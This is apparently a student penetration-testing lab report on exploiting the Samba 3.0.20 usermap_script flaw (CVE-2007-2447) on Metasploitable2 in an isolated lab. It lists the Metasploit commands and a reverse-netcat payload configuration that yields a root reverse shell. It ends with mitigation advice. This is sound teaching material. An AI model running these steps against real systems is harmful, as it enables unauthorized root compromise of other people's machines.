

Task 3 – Exploitation of Identified Vulnerabilities

Objective

To exploit critical vulnerabilities identified during reconnaissance and scanning in order to gain unauthorized access and demonstrate the potential impact.

Tools & Environment

- **Attacker Machine:** Kali Linux (Metasploit Framework)
 - **Target Machine:** Metasploitable2
 - **Exploit Used:** Samba 3.0.20 username map script Remote Command Execution
 - **Payload:** cmd/unix/reverse_netcat
 - **Network:** Isolated virtual lab (ethical testing environment)
-

Vulnerability Description

The Samba service running on Metasploitable2 (version 3.0.20) contains a vulnerability in its username map script functionality. Improper handling of user-supplied input allows remote command execution with root privileges.

- **Service:** SMB (Port 139/TCP)
 - **CVE:** CVE-2007-2447
 - **CVSS Score:** 10.0 (Critical)
 - **Impact:** Remote attackers can execute arbitrary OS commands as root without authentication.
-

Exploitation Steps

1. **Identify the Vulnerability**
From the Nmap service scan:
2. 139/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3. **Load the Exploit in Metasploit**
4. msf6 > search usermap
5. msf6 > use exploit/multi/samba/usermap_script
6. **Set Target Parameters**

7. set RHOSTS 192.168.0.102

8. set LHOST 192.168.0.107

9. **Run the Exploit**

10. exploit

11. **Successful Exploitation**

A reverse shell was obtained with root privileges:

12. whoami

13. root

Proof of Compromise

- **Privilege Level:** Root access achieved.
- **Files Accessible:** Entire file system, including /root directory.
- **Shell Type:** Fully interactive bash shell.

Security Impact

- Complete system compromise.
- Ability to read, modify, or delete any file.
- Potential to pivot to other systems within the network.

Mitigation Recommendations

- Upgrade Samba to a secure version ($\geq 3.0.25$).
 - Disable SMBv1 and unused services.
 - Restrict access to SMB ports via firewall.
 - Enforce strong authentication and network segmentation.
-